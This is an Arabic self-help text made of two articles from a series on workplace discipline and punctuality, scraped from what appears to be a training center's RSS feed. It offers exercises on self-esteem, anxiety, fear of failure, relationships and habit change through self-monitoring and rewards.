يميل تصورنا لأنفسنا وعاداتنا ببعضهما البعض .بمجرد ،تغير احداهما ,تتغير الأخرى.

-د.ماكسويل مالتز

ان أحد مفاتيح كسب احترام الذات هو البدء فى توقع المزيد من نفسك والبدء فى عمل الصواب حتى وان كان ينطوى على صعوبة ما .فهذا يعنى أنك تتحرك تجاه ما تعده شخصك المثالى .

ولكن أليس هذا بمثابة وضع الربة امام الحصان ؟ ألست فى حاجة الى سنوات من العلاج أولا لزيادة احترامك لذاتك .وبعدها ستتحسن أفعالك بدورها ؟ليس بالضرورة .ففى بعض الأحيان نجد أن أفضل وسائل بناء احترام الذات هى التصرف كما لو كان المرء يتمتع به بالفعل .وهذا هو ما انظر اليه كاسلوب الأبواب الخلفية.فبدلا من انتظار احترام الذات الشديد الذى يجعلك شخصا أكثر مواظبة وموثوقية ,يجب أن تمارس المواظبة والموثوقية ,وهو ما سيجلب لك بدوره مستوى أعلى من احترام الذات.

هناك حكمة قديمة تقول ” أن تفعل معناه ان تكون ” فعندما تتصرف كما الشخص الذى تود أن تكونه,تصير هذا الشخص للحظة.واذا تصرفت بهذا الشكل لفترة طويلة كافية ,فستصبح هذا الشخص بالفعل .

 

التمرين الاول

إن أول خطوة فى القيام بالشىء الصواب هى تصور الشخص الذى تود أن تكونه ووضع قائمة بالمعايير التى تحب أن تلتزم بها .سل نفسك عن الطريقة التى تود أن تعيش حياتك بها , وعن الاشياء المهمة بالنسبة لك , والقيم التى تقم لها وزنا . على سبيل المثال لعل النزاهة مهمة . دون هذه الملحوظة وأسهب , ربما ، أن النزاهة تعنى لك الحفاظ على كلمتك عندما تعد بالقيام بشىء ما . والآن قم بتنقيح ما دونته وصياغته فى ثلاث أو أربع جمل وضعها فى مكان ما حيث يمكنك مشاهدتها يوميا لكى تلتصق الافكار فى ذهنك .

فى كل مرة ترتقى فيها الى معاييرك,اربت على كتفك , حتى على ابسط المحاولات . وكافىء نفسك على عدم اختيارك الحل الذى تشعر نحوه بشعور طيب ,بل الحل الذى يتسق ومثلك . فمن المهم أن ترجع الفضل لنفسك متى لزم الأمر , لأنك بهذه الطريقة تعزز من أفعالك.

 

تعامل مع قلقك

لقد كنت أحدث نفسى : لا يمكننى القيام بهذا . والآن صرت أقول

دعنى أحاول : فربما يمكننى القيام بهذا .

                      – جوان لوندن، المضيفة السابقة لبرنامج Good Morning America

من أقوى الأشياء التى يمكنك القيام بها للحد من قلقك والخروج من الباب فى الموعد المحدد هو تهدئة هذا الصوت الداخلى الذى يسكن ذهنك والشروع فى الحديث بشكل لطيف مع نفسك . إن تعلم كيفية بناء الثقة من الداخل يعد حلاً أكثر فعالية على المدى البعيد مقارنة بالراحة المؤقتة التى يكلفها الرداء الجديد .

 

التمرين الأول

ابدأ بالتعرف على الأوقات التى تنزع فيها إلى التسويف بسبب التوتر . وراقب المشاعر والأفكار التى تجول بخاطرك . هل تنهمك فى حديث النفس السلبى ؟ هل تقول أشياء من قبيل : لن أنجح فى القيام بالأمر بالشكل السليم قط ؟ . وهل تقارن نفسك بشكل سلبي بالآخرين ؟ وهل تتضخم المشاكل البسيطة إلى كوارث ضخمة فى مخيلتك ؟

 

التمرين الثانى

عندما تلاحظ أنك منهمك فى حديث النفس السلبى ، قاطع هذه العملية . ومن طرق المقاطعة الفعالة الانهماك فى التأمل الصامت لدقيقة . تنفس ببطء وركز على زفيرك لدقيقة واحدة . وعد أربعة أنفاس وابدأ مرة ثانية . سيساعدك هذا التمرين على تعليق الحديث الدائر بداخلك والسيطرة مجدداً على أفكارك . لمزيد من المعلومات حول أساليب التأمل ، انظر الملحق ب .

 

التمرين الثالث

بعد ذلك استبدل الحديث السلبى بآخر إيجابى . تطلق جين ماسينجيل ، وهى مدربة شخصية بسان رامون ، كاليفورنيا ، على هذه العملية إطلاق أسهم على صوتك الداخلى . ابدأ بالنظر نظرة إيجابية على ما تقوله لنفسك وتحقق مما إذا كانت أية بيانات سلبية حقيقية أم لا . واضحك ملء شدقيك بينما تلاحظ سذاجة بعض مخاوفك . وبعدها استعن بواحدة أو أكثر من العبارات التالية لكى تعود إلى جادة الصواب مرة ثانية :

 

  • ” لا بأس بي على حالي هكذا . فأنا لست فى حاجة لأن أكون مثالياً ” .
  • ” ما أسوأ شيء من الممكن أن يحدث ؟ شيء لا أستطيع التعامل معه بالتأكيد ” .
  • ” من الطبيعى أن ينتابني القلق بشأن هذا الأمر ” .

 

عندما  تضبط نفسك وأنت منهمك فى حديث النفس السلبي ، تذكر كلمات ريتشارد كارلسون في كتاب Don’t Sweat The Smaller Stuff :

” ذكر نفسك بأن أسلوب تفكيرك هو المشوب بالسلبية ، لا حياتك …. والأمر يتطلب التدريب ، ولكن يمكنك الوصول إلى النقطة التي تستطيع عندها التعامل مع أفكارك السلبية بنفس الطريقة التى تتعامل بها مع الذباب فى نزهة خلوية : فأنت تبعدها عنك بيدك وتمضي فى يومك ” .

ويوصى الكاتب جاك كانفيلد مؤلف سلسلة Chicken Soup for The Soul  الأكثر مبيعاً قائلاً: ” كلما شعرت بالرعب والخوف من اتخاذ إجراء ما ، كرر العبارة التالية ، ماذا لدي لأخسره ، فلأقدم عليه على كل حال ” . من الطبيعى أن يشعر المرء بالخوف ، ولكنه من السهل تجاوز هذا الشعور . فحتى أكثر الناس هدوءاً ورباطة جأش يتحتم عليهم أن يدفعوا أنفسهم دفعاً للتخلص من مخاوفهم .

إننى لن أنسى أبداً هذا الاجتماع الذي حضرته وكان وارين كريستوفر وزير الخارجية الأمريكى المتحدث فيه . فقد سأله أحد الحضور عما يتمنى تغييره سواء على مستوى أفعالة أو سمات شخصيته . فأجاب السيد كريستوفر قائلاً إنه كان يتمنى ألا يكون على هذه الدرجة من الخجل . لقد كانت هذه اللحظة تنويرية لي ، أن أدرك أنه حتى أنجح الناس فى العالم لديهم أسباب لانعدام الثقة ومخاوف . ولكنهم يتعلمون فحسب المضي قدماً فى حياتهم على الرغم من هذه المخاوف . 

 

التمرين الرابع

فى المرة التالية التى تشعر فيها بالتوتر ، حاول التفكير فى مشاعرك كما لو كانت مشاعر إثارة . إن التوتر الفسيولوجى الذي تستشعره عندما تصاب بالتوتر يشبه كثيراً المشاعر التي تجتاحك عندما تشعر بلإثارة . إن مفهومك لهذه المشاعر هو الذي أحدث فارقاً . وعندما تعد العدة للذهاب إلى حفل ما ، فكر في وخزة التوتر هذه كما لوكانت موجة من موجات الإثارة . وركز على مسألة كم أنك تتطلع إلى رؤية المنزل الجديد للمضيف أو إلى حد سيكون الطعام شهياً . وركز تفكيرك على السبب وراء كون هذا الحفل ممتعاً ، لا للعكس .

 

التمرين الخامس

تخل عن السعى  وراء الكمال . بداية من الأسبوع القادم ، احرص على مغادرة المنزل أول المكتب يومياً قبل أن تخلع صبغة مثالية على الأشياء . ربما تترك السرير غير مرتب أو المكتب فى فوضى عارمة . وراقب شعورك عندما ” تهدأ ” وتترك الأمور على سجيتها . من الأرجح أن تجد هذه التجربه محررة .

 

تغلب على الخوف من النجاح أو الفشل من خلال تحدي نفسك

” إن السفينة تكون آمنة في الميناء ، ولكن هذا ليس هو المكان الذي صممت من أجله ” .

 

من بين أفضل وسائل التعامل مع الخوف من الفشل أو اللنجاح هي أن تتعلم كيف تتجاوز هذا الخوف . بينما تطلع على الصفحات التالية ، ضع نصب عينيك الغرض من وراء هذا القسم ، ألا تعليمك كيفية مواجهة مخاوفك وتخليك عن ” خطئك القاتل ” . تذكر أنك لن تستيقظ هكذا ببساطة فى يوم من الأيام لتجد أنك شفيت من التسويف والتأخر . فأنت فى حاجة أولاً للتعامل مع الأسباب الكامنة وراءهــا .

 

التمرين الأول

قم بعمل يتطلب قدراً من الشجاعة . فكر في شيء وددت دائماً القيام به بيد أنك لم تجد فى نفسك المهارة التي يتطلبها أو كنت خائفاً من القيام به . وقد يكون هذا الأمر في بساطة طلب زيادة فى المرتب ، أو في تعقيد العزف على الكمان .

بادر الشخص التالي لك فى صف المتجر بالحديث ، أو مارس رياضة تسلق الصخور ، أو اشترك فى فصول لتعلم الطهي على أيدي خبراء . افعل أي شيء من الممكن أن يساعدك على الخروج من منطقة الأمان الخاصة بك والابتعاد عنها . فكلما دفعت نفسك بعيداً بأفعال تتطلب شجاعة ، اكتشفت أكثر وأكثر أنك إنسان قادر . وسرعان ما ستدرك أن صورتك عن ذاتك ما هي إلا شيء من ابتكار خيالك .

 

التمرين الثانى

قبل أن تشرع في الاضطلاع بمشروعك الجديد ، أجر لنفسك تدريباً ذهنياً . تخيل نفسك وأنت تنفذ هذا المشروع بنجاح . على سبيل المثال ، إذا استقر رأيك على ممارسة لعبة الجولف ، فتخيل نفسك فى ملعب الجولف وأنت تسدد ضربة متأرجحة مثالية .

والآن تخيل أسوأ الفروض ، وهى أنك ستخفق فى ضرب الكرة ، وستقع وتتكوم على الأرض . وتخيل أنك تساعد نفسك على الوقوف ، وتضحك ملء شدقيك ، وتواصل اللعب وتنبأ بالتعامل مع أي خطأ محرج بلباقة ودعابة .

وبمجرد أن تعتاد على النظر إلى الخوف والفشل لا كمعيقات ولكن كأجزاء ضرورية في الحياة الناجحة ، ستصبح أكثر تقبلاً لأن تضع نفسك فى قلب الحدث . ستشرع في النظر إلى الخوف والتوتر كفرص لكي تثبت لنفسك أنك لاتقل كفاءة وقدرة عن الأشخاص الذين كنت تعجب بهم .

 

افعل شيئاً يروق لك

  عادة ما يكون انعدام الهدف فى الحياة مسئولاً عن مشاعر التوتر واحترام الذات المتدني . وإيجاد مغزى أعظم لحياتك من شأنه بناء احترامك لذاتك والحد من أسباب قلقك بأساليب لا حصر لها . فالاشخاص الذين يشعرون بأن لحياتهم وجهة ومغزى يميلون للشعور بالسعادة ، والرضا والإشباع بشكل أكبر .

التمرين الأول

كرس ساعة واحدة على الأقل في الأسابيع القليلة القادمة لكي تختلي وتسأل نفسك بعض الأسئلة المهمة :

  • ما الذي أود أن أحققه في حياتي ؟ فى نهاية حياتي ، ما الذي أود أن أسترجعه بفخر ورضا ؟
  • ما أكثر شيء أقدره في حياتي ، عائلتى ، أم عملي ، أم الأشياء المادية ، أم الصداقة ، أم الجانب الروحاني ؟

التمرين الثانى

والآن وقد تدبرت في الأشياء التي تحوز أهمية قصوى لديك ، والأشياء التي من الممكن أن تشعرك بالإشباع ، دون بنداً واحداً يمكنك أن تسعى وراءه في الأسابيع المقبلة .

إذا كان حلمك ، على سبيل المثال ، الانضمام إلى فرقة من فرق الروك آند رول ، بيد أنه لديك عائلة وأطفال ، فانضم إلى صفوف العزف على الجيتار . لدي عميل انضم إلى مدرسة موسيقى محلية ، وبعد سنوات عديدة من الدروس صار من الكفاءة بما أهله للانضمام إلى فرقة محلية . وهو يعمل فى الصباح كمصرفي استثمار في شارع المال ، وفي العطلات الأسبوعية تجده يعزف مع فرقة الروك الخاصة به بالنوادى المحلية .

 

التمرين الثالث

وبعد ذلك حدد تاريخياً للبدء في السعي وراء هدفك ولا تدع الفرصة لأي أعذار أو تبريرات تعترض طريق بدايتك . وربما شرعت في السعي وراء تحقيق هدف ما لتجد أنه ليس مرادك على كل حال . حال . لا تصب بالإحباط راجع خططك وابدأ من جديد .

 

أقم صداقات وعلاقات عائلية وتعدها بالرعاية

كثير منا ينغمسون فى حياتهم اليومية – سواء في العمل ، أو تربية الأطفال ، أو رعاية المنزل – لدرجة أننا نغفل أحد أقوى العوامل التي تساعد على بناء احترام الذات : علاقتنا بالإصدقاء والعائلة . فهولاء هم الأشخاص الذين يبنون احترام الذات لدينا بإضفائهم شعوراً بالانتماء علينا ، ويمثلون لنا أداة كبح واقعية عندما نقسو على أنفسنا .

وكما يقول سام هورن في كتابه Concrete Confidence  : ” يعتقد الكثير من الناس أن الاجتماع بالأصدقاء هو شيء لاينبغى القيام به سوى بعد الوفاء بكافة الالتزامات الأخرى …….

ولكن عندما تكرس وقتاً لإثراء ذاتك بصحبة أصدقائك ، ستحب نفسك أكثر وأكثر ، وهذا هو جوهر الثقة ” .

 

التمرين الأول

اتصل بشخص عزيز عليك على الأقل مرة واحدة أسبوعياً لمجرد أن تطمئن عليه . وإذا كانوا يقنطون نفس المنطقة التى تعيش فيها ، فواعدهم والتق بهم لساعة . ولا تعتمد على البريد الإلكتروني ولا آلة الرد على المكالمات لكي تبقى على اتصال بهم .

التمرين الثاني 

اخرج والتق بأناس جدد . انضم إلى صف مسائي ، أو انضم إلى مجموعة من هواة التسلق ، أو اشترك في مشروع تطوعي . وإذا كنت تشعر بالخجل ، فانظر للآمر كلعبة لكي تكتشف كم أنت شجاع .

بينما تمارس التمارين التي يشتمل عليها هذا الفصل وتعزز من احترامك لذاتك ، ستبدأ فى الشعور بالفخر بنفسك ، وسيتقلص شعورك بالتوتر . إن الحاجة الملحة للانهماك فى أنشطة مقلصة للتوتر ستخف حدتها وعادات السعي وراء الكمال والتهرب التي تتسبب في تأخرك لن تكون بنفس الإلحاح .

إن زيادة قدر احترام الذات والتخفيف من التوتر هي مهارات في مقدور أي شخص تعلمها . ومن خلال ممارسة المسئولية والتحلي بالأخلاق ، وتبديد المخاوف ، وممارسة تقبل الذات ، والتواصل مع من هم حولك ، ستزيد تدريجياً من قوة هذا المصدر المهم .

 

استعراض

  • يعد الاحترام المتدني للذات ، والقلق ، والاكتئاب ، والسعي وراء الكمال من العوامل المفضية إلى التأخر المزمن .
  • ابدا بتوقع المزيد من نفسك , افعل الصواب حتى و ان شق عليك هذا .
  • قلص من توترك بواسطة استبدال حديث النفس السلبى بالثناء و الاطراء و التخلى عن فكرة المثالية .
  • تحد نفسك بواسطة الخروج من منطقة الامان الخاصة بك و القيام باعمال تود ان تقوم بها بيد انك تخشاها .
  • اقم علاقات حميمة مع الاصدقاء و افراد العائلة و تعدها بالرعاية .

*   *   *

انتهت بحمد الله مقالات مسار كيم التعليمى للانضباط الوظيفي

بقلم  الدكتور / محمود الضابط  – كلية التجارة جامعة عين شمس

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات – الانضباط الوظيفي – بقلم د/محمود الضابط – المقالة السابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/job_discipline-7/feed/ 0 سلسلة مقالات – الانضباط الوظيفي – بقلم د/محمود الضابط – المقالة السادسة https://cameknowledge.camecenter.com/articles/job_discipline-6/ https://cameknowledge.camecenter.com/articles/job_discipline-6/#respond Tue, 04 Apr 2023 15:15:33 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10380 سلسلة مقالات – الانضباط الوظيفي بقلم د/ محمود الضابط المقالة السادسة تغيير العادات   كلمات موجزة حول تغيير العادات ” هناك حل سهل لكل مشكلة معقدة و هو حل خاطئ “ اتش . إل . مينكن   قبل ان تشرع فى ممارسة التمارين المتضمنة فى هذه المادة  , من فضلك استقطع بضع دقائق لاستيعاب بعض […]

The post سلسلة مقالات – الانضباط الوظيفي – بقلم د/محمود الضابط – المقالة السادسة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – الانضباط الوظيفي

بقلم د/ محمود الضابط

المقالة السادسة

تغيير العادات

 

كلمات موجزة حول تغيير العادات

” هناك حل سهل لكل مشكلة معقدة و هو حل خاطئ “

اتش . إل . مينكن

 

قبل ان تشرع فى ممارسة التمارين المتضمنة فى هذه المادة  , من فضلك استقطع بضع دقائق لاستيعاب بعض مفاهيم علم النفس الكامنة وراء تغيير العادات.

 

هناك بعض المفاهيم الخاطئة الشائعة فيما يتعلق بما يتطلبه الامر لكسر عادة ما. فالسواد الاعظم منا يظن انه لو صقلنا عزيمتنا و بذلنا قصارى جهدنا , سنكف عن القيام بما يؤرقنا ايا كان . والسيناريو الذى يدور بخلدنا يشبه التالى : تبدأ مشوار التغير بقوة , مفعما بالحماس و التصميم . و يصبح حسن التوقيت اولوية قصوى , و لانك متحفز بشدة , تحرز تقدماً فورياً . فتبكر فى ذهابك للعمل لاول مرة منذ اشهر طويلة , فيشعر رئيسك فى العمل بسعادة غامرة . و تحدث نفسك قائلا : ” الامر ليس شاقاً على كل حال ” . و بعد ذلك تهيمن الطبيعة البشرية . فتلين جهودك , و تلهيك انشطة اخرى عن هدفك , و سرعان ما ترتد على اعقابك الى سيرتك الاولى.

 

استرجع العادات الاخرى التى حاولت تغييرها . فالارجح انك لم تستطع التغير بين ليلة وضحاها. و فى كل مرة حاولت فيها و فشلت , ربما ان اليأس تمكن منك لفترة , ثم انك عدت لتضع خطط جديدة .

التغيير الناجح للعادات

ان تغيير اى عادة مسالة شاقة , لا سيما اذا كانت عادة راسخة طوال الحياة . و لكن الاخبا الطيبة هى ان علماء النفس السلوكى , من خلال سنوات الدراسة الطويلة , اكتشفوا الاسباب وراء نجاح البعض و فشل البعض الاخر فى تغيير عاداتهم . فقد اكتشفوا ان هناك اساليب محددة اكثر من غيرها و من الممكن استخدامها على حد سواء , سواء كنت بصدد محاولة انقاص وزنك, او الاقلاع عن التدخين , او الكف عن العض على اناملك .

فى الصفحات التالية ستتعلم كيف يمكنك تطبيق هذه الاساليب المجربة على التاخر و التسويف , و كيف تضمن لنفسك النجاح على افضل ما يكون . ان المفاتيح الاساسية الثلاث للتغيير الناجح للعادات هى :

تطوير التوجه الصحيح .

مراقبة نفسك .

وضع اهدافك و مكافاة نفسك .

 

تطوير التوجه الصحيح

” ان اكبر الاكتشافات التى توصل اليها جيلى هى ان البشر يستطيعون تغيير حياتهم بواسطة تغيير توجههم الفكرى “

وليام جيمس

 

الق نظرة على اولوياتك . هل امكانية الاعتماد عليك مهمة بالنسبة لك ؟ اذا كنت ستصبح شخصا مواظبا على مواعيدك , فان اول و اهم التوجهات التى سيتحتم عليك تبنيها هى رصد اولوية للالتزام بالمواعيد و لامكانية الاعتماد عليك . و بينما تشرع فى ممارسة التمارين التى يشتمل عليها الكتاب الذى بين يديك , تذكر ان جزءا من عملية التاخر و المماطلة يكمن فى تبنى و الالتزام باسلوب حياة مسئول و مفعم بالكياسة . فالعيش بهذا الشكل لن يزيد من التزامك بالمواعيد فقط . بل سيساعد ايضا على بناء شخصيتك و تعزيز نزاهتك و علاوة على ذلك , فبينما تعود نفسك على ان تصبح شخصاً يتمتع بالكياسة ويعتمد عليه , ستكتشف ان الاحترام و مراعاة شعور الاخرين سيعاودانك .

 

و الواقع انه لايوجد سر حقيقى لصقل هذه المهارات . فامكانية الاعتماد على الشخص و احساسه بالمسئولية تقومان ببساطة على التخلى عن التوجه الفكرى الانوى , و وضع اهتمامات الاخرين فى مرتبة اعلى او مساوية لاهتمامتك . يشرح العالم النفسانى و المؤلف الاكثر مبيعا ديفيد ليبرمان فى كتابه ” Instant Analysis ” قائلا:

” لا يسعك ان تكرس الكثير من الاهتمام لنفسك و للاخرين فى نفس الوقت . فاذا كنت منشغلا بـــ “الانا” فستجد انه لم يعد لديك فسحة لبقية العالم ” .

 

توقف فوراً

 

تفهم انه لكى تحقق جهودك النجاح المنشود يجب ان تحاول ان تكون شخصا يعتمد عليه يواظب على مواعيده كلها – سواء مواعيد عمل او مواعيد حفلات عشاء او مواعيد الطبيب – كل شئ . و قد يبدو لك الامر و كانه ” لا يمثل مشكلة كبيرة ” عندما تتاخر لبضع دقائق عن العمل او خمس دقائق على لقاء الاصدقاء و لكن الان يجب ان تتبنى التوجه القائل بانه من المهم ان تصل فى الموعد المحدد . يجب عليك ان تتخلص من عادة التاخر ” فوراً” .

 

ان التعود على الالتزام بالمواعيد يشبه كثيراً الاقلاع عن التدخين . فقد اكتشف الباحثون ان المدخنيين عادة ما ينجحون فى الاقلاع متى يحاولون التخلص من هذه العادة فوراً و عندما يتبنوا توجها فكريا مفاده ان التدخين ليس خيارا مقبولا . و بهذه الطريقة لا يتحتم عليهم ان يقرروا فى كل لحظة فى كل يوم ما اذا كان عليهم اشعال سيجارة ام لا . و بينما يمر عليهم كل يوم بدون تدخين يصبح عدم التدخين عادة .

و بالمثل اذا سمحت لنفسك بالتاخر فى مناسبات بعينها لان ” الامر ليس مهما بالمرة ” او لان ”  ضع دقائق ليست بالمشكلة الكبيرة ” فانك لن تسمح لعادة الالتزام بالمواعيد بالتأصل بداخلك .

 

ضع فى اعتبارك ان العادات السيئة لا تزيد على كونها قرارات غير حكيمة تتخذ مراراً و تكراراً . و لذا اتخاذ القرار بالتكبير دائما و لاحقا عندما تصبح المحافظة على المواعيد عادة راسخة فيك يمكنك الاسترخاء بشكل اكبر و لكن فى الوقت الراهن من الضرورى ان تمنح المسالة اولوية و اهتماما .

 

لا تتوقع ان يكون الامر يسيرا

الجميع يريدون نتائج لحظية . فاننا جميعا نود ان نحصل على ” السر المضمون البسيط ” للنجاح. و لكن الحقيقة انه لا يوجد حلول بسيطة لتغيير العادات الراسخة منذ زمن طويل .

و كما رايت فى الفصل الاول فان العديد من العادات – حتى السلبية منها – تعود علينا بالفائدة بشكل او باخر . و سواء عن وعى او دون وعى منا فهى تضفى علينا شيئا من المتعة و المتعة قد يكون من الصعب التخلى عنها .

 

فى عام 1954 اكتشف باحثان و هما أولدز و ميلز ان المتعة من الممكن ان تتحول الى ادمان بشكل ما . فقد دربا مجموعة من الفئران على تحفيز مقدمات مخاخهم الكترونيا و هى المنطقة المسئولة عن الاحساسيس الممتعة فى المخ . فعندما ضغطت الفئران على عمود معدنى تلقت مختخهم تحفيزا و هو ما جعلهم يشعرون باحساسيس ممتعة . و لقد كانت الرغبة فى استشعار المتعة قوية جدا لدرجة ان الفئران سرعان ما تجاهلت الطعام و الشراب و فضلت تحفيز المخ عليها حتى اصيبت فى نهاية المطاف بالضعف و الجفاف .

و بيمنا اننا نحن البشر قد نبدى ضغطا اكبر من ضغط النفس مقارنة بهذه الحيوانات المعملية الا اننا نعانى من صعوبات شبيهه كلما حاولنا التخلص من العادات التى تخلع علينا نوعا من امواع المتعة او تعود علينا بفائدة ما . و لذا كن على استعداد لتقديم تضحيات و حاول و افشل و حاول ثانية و لا تيأس فالفشل طبيعى جدا . ركز على اولوياتك فحسب .

 

راقب نفسك

لعلك الان لاحظت فكرة متكررة , اهمية القاء نظرة جديدة على افعالك و سلوكك التلقائى . تذكر ان السلوكيات التلقائية هى كل تلك الاعمال الروتينية و العادات التى نؤديها دون تفكير و بينما ان السواد الاعظم من السلوكيات التلقائية تخدم غرضا ما الا انها من الممكن ان تصعب من تغيير العادات . و عندما لا نعى افعالنا و دوافعنا بشكل شمولى يصعب علينا ان نكتشف كيفية التغيير.

 

و بينما تدير شئونك المنتظمة على مدار الاشهر القليلة المقبلة تذكر ان تمارس مراقبة الذات . وانتبه الى الخيوط التى تؤدى الى سلوكك الميال للتاخر . و تذكر اننا نتخذ قرارات سواء عن وعى منا او دون وعى بناء على معادلة الفوائد فى مقابل المساؤى . و احد اهداف مراقبة نفسك هو اكتشاف الفوائد التى تعود عليك من جراء هذا السلوك . حاول ان تراقب الامور التى تؤدى بك الى التاخر , شعورك , و افكارك , و افعالك .

 

تابع مسار الكتابة

ان تسجيل انماطك و مدى التقدم الذى تحرزه كتابة يحدث فارقا عظيما فى نجاح تغيير عادة ما . فالكتابة لا تساعدك فحسب على ان ترى سلوكك بشكل اوضح بل تساعدك ايضا على تحليل افعالك بشكل اكثر موضوعية و تعزز من التزامك تجاه هدفك . و على الرغم من ان هذه هى احدى اهم الخطوات فى تغيير العادات , الا انها الخطوة التى يتجاهلها اغلب الناس .

 

 

ضع اهدافا و كافئ نفسك

لن المكون الاساسى لتغيير الناجح للعادات هو الكشف عن الاجراءات التى ستتبعها بالضبط و كيفية اتخاذها . فسيتحتم عليك ان تقرر مدى التغير الذى تود ادخاله على نفسك , هل تود الوصول الى العمل مبكرا بعشر دقائق يوميا ؟ هل من المقبول ان تصل الى الحفلات  متاخرا خمس عشرة دقيقة ؟ و بينما انك قد تغرى بــ ” الارتجال ” ستساعدك الاهداف الواضحة المكتوبة على تركيز جهودك .

حدد ايضا الى اى مدى تود ان تراقب نفسك . كرس خمس دقائق اسبوعيا لكى تلقى نظرة فاحصة على تقدمك و اكتشاف الاجراءات التى افلحت و تلك التى اخفقت . فهذا وقت مناسب لاعادة تنظيم خطوطك و تغيير استراتيجيتك بناء على الاستراتيجيات الناجحة و تلك الفاشلة .

 

 مكافأة نفسك

منذ فترة طويلة اكتشف علماء النفس السلوكى اسلوبا اطلقوا عليه ” التعلم بالتداعى ” فعندما تود ان يؤدى الكلب حيلة ما – كأن يجلس عل سبيل المثال – فانك تطلب منه ان يجلس ثم تقدم له جائزة . ولذا فان احتمال ان يجلس الكلب فى المرة التالية مرتبط مباشرة بما حدث بعد ان جلس فى المرة الاولى . فاذا حصل على جائزة تتفوق احتمالات اذعانه و جلوسه عما لو لم يكن تلقى اى مكافأة .

 

و البشر اشبه بهذا من حيث ان عقولنا تربط ما بين الافعال و التبعات . فاذا ترتب على تاخرنا فائدة ما سواء كانت تحفيزا او اثارة او مزيدا من الوقت لانفسنا يتعزز سلوكنا و سنواصل تاخرنا. و اذا لم نفد قط من وصولنا مبكرا فسنربط ما بين الافكار و انعدام الفائدة و بالطب ستتقلص احتمالات ابكارنا .

و عندما تحاول استبدال عادة قديمة بعادة جديدة من الممكن ان تلعب الجوائزدور الدوافع القوية . فالاشخاص الذين يجدون الحافز فى الجوائز اميل الى التغير بكثير من هؤلاء الذين لا يتلقون اى جائزة . و مما يثير الانتباه ان التعزيزات السلبية او العقوبات لم يكتشف ان لها نفس الفعالية فيما يتعلق بتغيير العادات .

و لعل اهم شئ فيما يتعلق بالجوائز هى ان تكون فورية . فمن المهم ان تمنح نفسك جائزة لقاء كل تقدم تحرزه مهما كان ضئيلا . فعندما تقر نجاحاتك البسيطة فانك تحفز نفسك على القيام بنفس الشئ الغذ و بعد غد . و لذا تاكد من تكافئ نفسك على ابكار او حتى وصول فى الموعد المحدد .

كيف ينبغى ان تكافئ نفسك ؟ هذا يعتمد على ما يحفزك بطبيعة الحال . فهناك امراة اعرفها تمنح نفسها راحة لخمس دقائق كلما نجحت فى تحقيق اهافها . و فى هذه الدقائق الخمس تسمح لنفسها للقيام بشئ شديد العبثية و لا طائل من ورائه كقراءة المجلات او الحملقة فى الطيور فى الميدان المواجه لنافذة مكتبها . و هناك رجل اخر كان يكافئ نفسه بالجلوس فى السيارة عندما ياتى مبكرا و يربت على ظهره حرفيا و يجدث نفسه قائلا : ” احسنت ” .

و مهما كانت المكافاة التىتستقر عليها حتى و ان كانت ان تسمح لنفسك بالابتسام لخمس عشرة ثانية و تهنئ  نفسك قدمها لنفسك على الفور . ستبدا فى الربط ما بين مشاعرك الطيبة و افعالك من ناحية و الوصول فى الوعد المحدد من ناحية اخرى و هو ما سيساعدك على الدنو اكثر و اكثر من بغيتك .

و بينما ان الاهداف الفورية هى الاكثر فعالية عندما ترصدها لنفسك الا ان الاهداف بعيدة المدى من الممكن ان تتسم بالتحفيز بشكل خاص عندما يرصدها لك شخص اخر . على سبيل المثال يمكنك ان تتفاوض مع زوجتك بشان شراء شئ مميز لك اذا حققت اهدافك . او ربما يقتنع مديرك بمنجك تصريحا للخروج فى وقت الظهيرة عندما تصل مبكرا الى العمل لمدة شهرين . وعلى كل حال حاول ان ترصد لنفسك جوائز قصيرة و متوسطة و طويلة الاجل على انجازاتك التى حققتها .

 

ملاحظة أخيرة 

أصبحت الآن بمفردك

 

اتمنى انك من خلال اماطة اللثام عن مفاتيح تاخرك تكون قد اكتسبت الثقة و الانضباط وعلمت المزيد عن نفسك اكثر مما كنت تتوقع . ان الغرض من الكتاب الذى بين يديك ليس فقط مساعدتك فى جانب واحد بل ايضا تبيان كيف يمكن مساعدة نفسك فى العديد من الجوانب .

 

من الارجح انك اكتسبت تبصرات فى هذه المرحلة فيما يتعلق بموقفك الشخصى و عززت من وعيك بانماط تاخرك و الفوائد الت ىتعود عليك منه . لقد اخترت نمطا او نمطين من انماط التاخر التى تشبه انماطك الى ابعد الحدود و انتفيت اربع او خمس تمارين بدت انسب اليك من غيرها . و دونت اهدافك كتابة كما انك وضعت خطة عمل لكى تخطو خطواتك الاولى على درب التغلب على التاخر و التسويف . و لقد صرت الان جاهزا للبدء فى ممارسة ما تعلمته .

 

و اذ تبدء فى تنفيذ خطتك ستشعر من الارجح بقدر كبير من الحماس و قد يستقر رايك على ان تتعامل مع العادات السيئة الاخرى . بيد انه من الافضل فى هذه المرحلة ان تركز فقط على سلوك واحد فى كل مرة . فبينما يبدا الكثيرون بدفعة قوية من الطاقة و التركيز الا انهم بمرور الوقت يجدون انهم يرتدون على اعقابهم ثانية و يمارسون عاداتم القديمة . و العودة الى جادة الصواب تتطلب عزيمة و لذا فانا اقترح عليك ان تحاول التعامل مع عادة واحدة فى البداية و بذا ستجد انه من الاسهل ان تحافظ على مسارك السليم . و لاحقا ستتمكن من استخدام النصائح و التمارين التى يشتمل عليها هذا الكتاب لمساعدتك فى الجوانب الاخرى من حياتك . و لكن امامك الكثير من الوقت لهذا اما الان فحافظ على تركيزك على المواظبة .

 

 

